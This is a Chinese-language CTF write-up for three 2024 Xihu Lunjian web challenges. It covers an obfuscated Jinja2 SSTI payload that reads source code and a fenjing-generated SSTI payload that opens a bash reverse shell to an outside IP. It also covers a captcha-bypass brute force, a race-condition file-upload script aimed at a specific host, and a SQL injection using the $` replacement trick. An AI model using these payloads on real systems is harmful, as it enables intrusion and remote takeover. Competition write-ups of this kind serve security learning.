2024西湖论剑-web
Web
Rank-l
发现{{7*7}}用户名存在ssti。
用这个网上找的魔改的payload读取源码:
{% set po=dict(po=1,p=2)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=1,st=1)|join%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=(dict(ap=a,p=a)|join)~chr(46)~(dict(p=b,y=b)|join)%}
{% print(x.open(f).read())%}
app.py:
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.9.0
Date: Sat, 18 Jan 2025 02:49:32 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 2573
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>login failed</title>
</head>
<body>
<script>
alert(" from flask import Flask, request, render_template, render_template_string, redirect, url_for, abort
from urllib.parse import unquote
app = Flask(__name__)
phone = ''
def is_safe_input(user_input):
# unsafe_keywords = ['eval', 'exec', 'os', 'system', 'import', '__import__']
unsafe_keywords = ['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']
if any(keyword in user_input for keyword in unsafe_keywords):
# if user_input in unsafe_keywords:
return True
return False
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
global phone
phone = request.form.get("phone_number")
return render_template("login.html")
@app.route("/cpass", methods=["POST"])
def check():
global phone
password = request.form.get("password")
if is_safe_input(phone):
return redirect(url_for('index'))
if phone != "1686682318" and password != "Happy_news_admin":
return render_template_string('<!DOCTYPE html>\
<html lang="en">\
<head>\
<meta charset="UTF-8">\
<title>login failed</title>\
</head>\
<body>\
<script>alert("{}The number does not exist or the password is incorrect!") </script>\
<script>window.location.href = "/";</script>\
</body>\
</html>'.format(phone))
else:
return redirect(url_for('index'))
if __name__ == '__main__':
app.run(host="0.0.0.0", port=int("5005"), debug=True)
The number does not exist or the password is incorrect!")
</script>
<script>
window.location.href = '/';
</script>
</body>
</html>
用AI优化一下格式:
def evil_waf(input: str):
evil_word = ['eval', 'exec', 'os', 'system', 'import', '__import__','flag', '?', '*', '-', 'less', 'nl', 'tac', 'more', 'tail', 'od', 'grep', 'awd', 'sed', '64', '/', '%2f', '%2F']
for word in evil_word:
if word in input:
return False
return True
然后用fenjing生产payload:
from fenjing import exec_cmd_payload
def evil_waf(input: str):
evil_word = ['eval', 'exec', 'os', 'system', 'import', '__import__','flag', '?', '*', '-', 'less', 'nl', 'tac', 'more', 'tail', 'od', 'grep', 'awd', 'sed', '64', '/', '%2f', '%2F']
for word in evil_word:
if word in input:
return False
return True
payload, _ = exec_cmd_payload(evil_waf, "bash -c 'bash -i >& /dev/tcp/113.45.22.245/8888 0>&1'")
print(payload)
# {%set oz='OS'.lower()%}{%set ba='%c'.__mul__(53)%(98,97,115,104,32,45,99,32,39,98,97,115,104,32,45,105,32,62,38,32,47,100,101,118,47,116,99,112,47,49,49,51,46,52,53,46,50,50,46,50,52,53,47,56,56,56,56,32,48,62,38,49,39)%}{{g.pop.__globals__.__builtins__['__i''mport__'](oz).popen(ba).read()}}

Rank-U
这题首先开局一个登录框,然后弱密码无法进入,我们来进行爆破,用bp的插件captcha-killer来绕过验证码登录
最后爆破出密码是: year2000
然后登录进去,发现是一个文件上传的点,然后上传文件发现访问不了,但是又回显上传成功。我们猜测可能是文件被删除了,然后写一个脚本验证一下。发现确实存在.php文件。验证思路是利用文件夹/会列出当前目录所有文件,通过多进程发文件,然后一直请求,发现确实上传成功,php文件落地成功
然后就想到了条件竞争,写了如下脚本:
import requests
from concurrent.futures import ThreadPoolExecutor
from bs4 import BeautifulSoup
url = 'http://139.155.126.78:28446/admin/'
headers = {
'Cookie': 'PHPSESSID=a9ksqg0haph9nh1jck876u53n2'
}
def get_file_paths(res):
soup = BeautifulSoup(res.text, 'html.parser')
for link in soup.find_all('a'):
href = link.get('href')
if href and href.endswith('.php'):
return href
def get_lists():
session = requests.Session()
session.headers.update(headers)
r = session.get(url + 'Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')
# print(r.text)
if '.php' in r.text:
print('检测到.php文件,上传成功!')
target_url = get_file_paths(r)
url_exp = url + 'Uploads/1f14bba00da3b75118bc8dbf8625f7d0/' + target_url
res = session.get(url_exp)
if res.status_code == 200:
print('hacked!')
else:
print('访问失败!')
if __name__ == '__main__':
with ThreadPoolExecutor(max_workers=30) as executor:
for i in range(10000):
print(i)
executor.submit(get_lists)
然后用yakit和bp同时发文件上传包,通过phpinfo()执行发现禁用了一系列函数

最后通过直接读文件,拿到flag



sqli or not
有附件
var express = require('express');
var router = express.Router();
module.exports = router;
router.get('/',(req,res,next)=>{
if(req.query.info){
if(req.url.match(/\,/ig)){
res.end('hacker1!');
}
var info = JSON.parse(req.query.info);
if(info.username&&info.password){
var username = info.username;
var password = info.password;
if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
res.end('hacker2!');
}
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
connection.query(sql,function (err,rs) {
if (err) {
res.end('error1');
}
else {
if(rs.length>0){
res.sendFile('/ ');
}else {
res.end('username or password error');
}
}
})
}
else{
res.end("please input the data");
}
}
else{
res.end("please input the data");
}
})
第一个if绕过, 用url编码绕过%0C
然后第二个经过本地测试,根据官方文档可只$`匹配左侧字符串把select * from userinfo where username = 带出来了

var username = "harder"
var password = "harder$`/**/or/**/1--+"
var sql = "select * from userinfo where username = '{username}' and password = '{password}'"
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
console.log(sql)

最后得到payload:
/?info={"username":"harder$`/**/or/**/1--+"%2C"password":"harder"}
得到flag